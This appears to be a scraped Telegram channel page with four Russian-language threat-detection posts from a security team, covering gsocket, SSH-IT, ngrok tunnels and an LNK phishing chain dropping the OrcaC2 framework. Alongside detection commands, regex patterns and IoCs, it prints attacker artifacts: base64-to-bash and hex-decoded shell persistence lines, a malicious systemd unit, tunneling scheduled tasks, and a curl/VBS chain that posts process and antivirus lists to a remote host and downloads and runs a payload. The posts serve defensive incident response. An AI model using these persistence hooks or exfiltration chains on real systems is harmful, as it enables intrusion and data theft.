ESCalator
3.99K subscribers
228 photos
1 video
1 file
96 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
加入频道
Gsocket: как найти один из самых популярных инструментов 🙂

В процессе расследования множества инцидентов, связанных с компрометацией Linux-узлов, мы часто обнаруживаем на них различные хакерские инструменты.

Одним из самых популярных из них является gsocket. Хакеры часто используют его для подключения к скомпрометированным узлам.

🔦 Для обнаружения признаков установки инструмента можно искать следующее:

1️⃣ Сервис с именем D-Bus System Connection Bus:


systemctl | grep "D\-Bus System Connection Bus"


Пример:
EVILSERVICE.service                                                                    loaded active running   D-Bus System Connection Bus


2️⃣ Файлы, через которые может осуществляться закрепление в системе и в которых встречаются строки по следующему паттерну:

'D\-Bus System Connection Bus|GS_ARGS\=|echo .+\|base64 \-d\|bash.+seed prng.+kernel'


egrep -ar 'D\-Bus System Connection Bus|GS_ARGS\=' /usr/lib/systemd/ /{lib,run,etc}/systemd/
egrep -aor 'echo .+\|base64 \-d\|bash.+seed prng.+kernel' /


👀 Пример (service-файл):


Description=D-Bus System Connection Bus
After=network.target

[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/root
ExecStart=/bin/bash -c "GS_ARGS='-ilq' exec -a '[abc]' '/usr/bin/abc'"

[Install]
WantedBy=multi-user.target


👀 Пример (.bashrc):


# ~/.bashrc: executed by bash(1) for non-login shells.
# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
{ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMDAxIGFiYyAyPi9kZXYvbnVsbCB8fCAoVEVSTT14dGVybS0yNTZjb2xvciBHU19BUkdTPSItayAvaG9tZS91c2VyLy5jb25maWcvaHRvcC9hYmMuZGF0IC1saXFEIiBleGVjIC1hICdbYWJjNXJyXScgJy9ob21lL3VzZXIvLmNvbmZpZy9odG9wL2FiYycgMj4vZGV2L251bGwpCg==|base64 -d|bash;} 2>/dev/null #34uhu4gg3g3g34g3 >/dev/random # seed prng abc-kernel
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
*i*) ;;
*) return;;
esac
....


📌 Для обнаружения признаков наличия инструмента на периметре можно поискать узлы, взаимодействующие с gsocket․io, а также серверами из поста.

📃 Рекомендации по дальнейшим действиям:

1️⃣ Заблокировать адреса управляющих серверов;

2️⃣ Удалить файлы, относящиеся к gsocket, а также изменить файлы, через которые gsocket закрепился в системе;

3️⃣ Перезагрузить скомпрометированный хост;

4️⃣ Осуществить поиск подозрительных входов по сети и проверку логов веб-сервера (если он есть и торчит наружу).

#DFIR #detect #hacktool #tips #linux
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
SSH-IT. Инструкция по обнаружению популярного инструмента 🔭

В процессе расследования множества инцидентов, связанных с компрометацией Linux-узлов, мы иногда обнаруживаем на них различные хакерские инструменты.

Сегодня поговорим об SSH-IT. Хакеры часто используют его для перехвата SSH-сессий и получения вводимых пользователем команд.

Для обнаружения признаков установки инструмента на узлах ищите:

1. Файлы по паттерну: '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)':

find / -type f | egrep -a '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)'


🧐 Пример:


/home/john/.config/prng/askpass.sh
/home/john/.config/prng/depth.cfg
/home/john/.config/prng/funcs
/home/john/.config/prng/hook.sh
/home/john/.config/prng/ptyspy_bin.aarch64-linux
/home/john/.config/prng/ptyspy_bin.armv6l-linux
/home/john/.config/prng/ptyspy_bin.i386-alpine
/home/john/.config/prng/ptyspy_bin.mips32-alpine
/home/john/.config/prng/ptyspy_bin.mips64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-osx
/home/john/.config/prng/seed
/home/john/.config/prng/ssh
/home/john/.config/prng/ssh_login.sh
/home/john/.config/prng/thc_cli
/home/john/.config/prng/x.sh


2. Файлы, через которые может осуществляться закрепление в системе и в которых встречаются строки по паттерну: '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD'

egrep -aor '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD' /


👀 Пример (файл /home/john/.profile):


"# ~/.profile: executed by the command interpreter for login shells.
# DO NOT REMOVE THIS LINE. SEED PRNGD.
source "$(echo 2f686f6d652f6a6f686e2f2e636f6e6669672f70726e672f736565640a|/usr/bin/xxd -r -ps 2>/dev/null)" 2>/dev/null #PRNGD
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.

# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022

# if running bash
if [ -n ""$BASH_VERSION"" ]; then
# include .bashrc if it exists
if [ -f ""$HOME/.bashrc"" ]; then
. ""$HOME/.bashrc""
fi
fi

# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/bin"" ] ; then
PATH=""$HOME/bin:$PATH""
fi

# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/.local/bin"" ] ; then
PATH=""$HOME/.local/bin:$PATH""
fi"


📃 Рекомендации по дальнейшим действиям:

1️⃣ Заблокировать адреса управляющих серверов;

2️⃣ Удалить файлы, относящиеся к SSH-IT, а также изменить файлы, через которые SSH-IT закрепился в системе;

3️⃣ Перезагрузить скомпрометированный хост;

4️⃣ Осуществить поиск подозрительных входов по сети и проверку логов веб-сервера (если он есть и торчит наружу).

#tip #detect #hacktool #dfir
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Ngrok. Находим и разбираемся 🔍

В процессе расследования множества инцидентов мы неоднократно встречаем такой инструмент, как ngrok. Это удобный легитимный инструмент для прокидывания сетевых туннелей для администраторов.

Он стал очень популярен у злоумышленников, которые, как правило, устанавливают RDP-соединения, и мы настоятельно рекомендуем поискать ngrok у себя в инфраструктуре.

Несколько рекомендаций по поиску признаков использования ngrok на узлах:

1️⃣ Наличие файла с именем ngrok.yml или директорий ngrok, .ngrok2, которые, как правило, имеют следующие файловые пути:


C:\Users\<username>\.ngrok2\ngrok.yml
C:\Windows\ServiceProfiles\NetworkService\AppData\Local\ngrok\ngrok.yml
C:\Windows\SysWOW64\config\systemprofile\.ngrok2\ngrok.yml


2️⃣ Наличие файла *.yml, в котором встречаются строки по следующим паттернам:


'version\: \"[0-9]+\"'
'authtoken\: [a-z0-9_]{49}'


Пример (ngrok.yml):

version: "2"
authtoken: 5U87lkcqEFeZ0sJ7Hg66aXkkrO4_K9EpjQHkJMkTg0R96pu64


3️⃣ Наличие строки ::%16777216 в качестве адреса сети источника в журналах сетевых подключений:


C:\Windows\System32\winevt\logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx
C:\Windows\System32\winevt\logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx


4️⃣ Наличие файла планировщика заданий Windows, через который осуществляется закрепление на узле и в котором могут встречаться строки по следующим паттернам:

'<Arguments>tcp [0-9]+</Arguments>'
'<Arguments>tcp [^ ]+\:[0-9]+ \-\-authtoken [a-z0-9_]{49}</Arguments>'


Пример 1 (C:\Windows\System32\Tasks\Microsoft\Windows\Microsoft\Monitor):

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
...
<Actions Context="Author">
<Exec>
<Command>C:\Windows\System32\Microsoft\1.exe</Command>
<Arguments>tcp 3389</Arguments>
</Exec>
</Actions>
</Task>


Пример 2 (C:\Windows\System32\Tasks\updater):

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
...
<Actions Context="Author">
<Exec>
<Command>C:\ProgramData\1.exe</Command>
<Arguments>tcp poc.opi.rtyo.ru:22 --authtoken qr7pKMAgTp5nfT0HTwh21sb9VsF_FwX3xkNuQqJE7MBh0gUj8</Arguments>
<WorkingDirectory>C:\ProgramData</WorkingDirectory>
</Exec>
</Actions>
</Task>


📌 Чтобы обнаружить признаки наличия инструмента на периметре, можно поискать узлы, взаимодействующие со следующими серверами:


ngrok.com
ngrok-agent.com
ngrok.io
*.equinox.io


#tip #detect #hacktool #dfir
@ptescalator
Лок'тар огар! 👺

В современном мире атаки, направленные на получение первоначального доступа, стали более сложными. Злоумышленники используют многоступенчатую полезную нагрузку, что позволяет им постепенно продвигаться к своей цели, не вызывая подозрений, и увеличивает шансы на успех атаки.

Одним из наиболее популярных механизмов для инициации такой атаки являются LNK-файлы. При их запуске начинается выполнение цепочки скриптов, каждый из которых запускает следующий элемент цепочки, скачивая его с удаленного узла или распаковывая из собственных ресурсов.

🔗 В качестве характерного примера рассмотрим одну такую цепочку. Наше внимание она привлекла несколькими факторами:

1️⃣ Использование легитимного ресурса как хоста для полезной нагрузки.

2️⃣ Использование необычного фреймворка в качестве полезной нагрузки (необычного в том смысле, что до этого мы ни разу не видели его в атаках).

В ходе исследования наш отдел нашел ZIP-архив — вложение для фишингового письма, представленного на скриншоте выше. Внутри — два документа и LNK-файл со скриптом. Содержимое скрипта показано ниже (домен, с которого скачивалась нагрузка, намерено изменен):

"C:\Windows\System32\conhost.exe"
conhost conhost cmd /c expand C:\Windows\system32\curl.exe C:\Users\public\Downloads\cl.exe & tasklist |
curl -k -X POST --data-binary @- -A "PLMN ~%date% ~%time%" https://example.com -o C:\Users\public\Downloads\No15.vbs
&& wscript C:\Users\public\Downloads\No15.vbs


Любопытно, что полезная нагрузка скачивается с легитимного домена российской образовательной организации. По всей видимости, злоумышленники заранее взломали учреждение и начали использовать его ресурсы для своих атак.

🕵️‍♂️ Цепочка атаки раскрывается следующим образом:

-> LNK-файл.
-> Скрипт No15.vbs. Он собирает сведения об установленных антивирусах и скачивает .exe. Код скрипта:

Set oj = CreateObject("WScript.Shell")
oj.Run "cmd /c curl -k https://example.com
fileid=PLMN -o C:\Windows\temp\2024_Determination_to_initiate_a_case.docx
C:\Windows\temp\2024_Determination_to_initiate_a_case.docx", 0, False
oj.Run "cmd /c wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
C:\Users\Public\Downloads\cl.exe -k -X POST --data-binary @- https://example.com
get=1PLMN1731912032 -o C:\Users\public\Downloads\libPLMN1731912032.exe",0,True
oj.Run "C:\Users\public\Downloads\libPLMN1731912032.exe"


-> libPLMN1731912032.exe — исполняемый файл, написанный на языке Go, сборка пакета которого имеет название Pinocchio. Именно этот бинарь и является сборкой клиента (в терминологии проекта — puppet) OrcaC2.

🧐 Далее приведем описание основной функциональности:

• Удаленное выполнение команд.
• Загрузка и выгрузка файлов.
• Кейлоггер + снятие скриншотов экрана.
• Прямой и обратный прокси-сервер.
• Коммуникация через WebSocket.

На самом деле возможностей у OrcaC2 куда больше. Подробный список можно найти в GitHub-репозитории проекта (осторожно, README написан на китайском языке).

Сам же фреймворк разделяется на три «модуля»:

Puppet — клиентская часть, запускается на устройстве жертвы.
Master — подключается к серверу, через него управляет клиентами.
Server — связующее звено между Pupper и Master.

IoCs:

46c0fd35e4699265db0223cee00b3da48ec157e2d7a51590c87b077918f76d5b — ZIP-архив.
88aa1bd65a6ff5d92ac7041e9685c20e08286709971881660df9c0f4a04c06db — LNK-файл.
0ed459cf2682b12d95613ca8f1f1b9d71bcc529c681f8a2a0ec347bba7d8f4b6 — скрипт No15.vbs.
601f00162583c82d933ad27ec6b3f900d2efde81a1f4cf3724e5cfc4875305cb — libPLMN1731912032.exe.
http://45.147.200.38:443 — C2-сервер.


#hacktool #phishing #ioc #C2
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM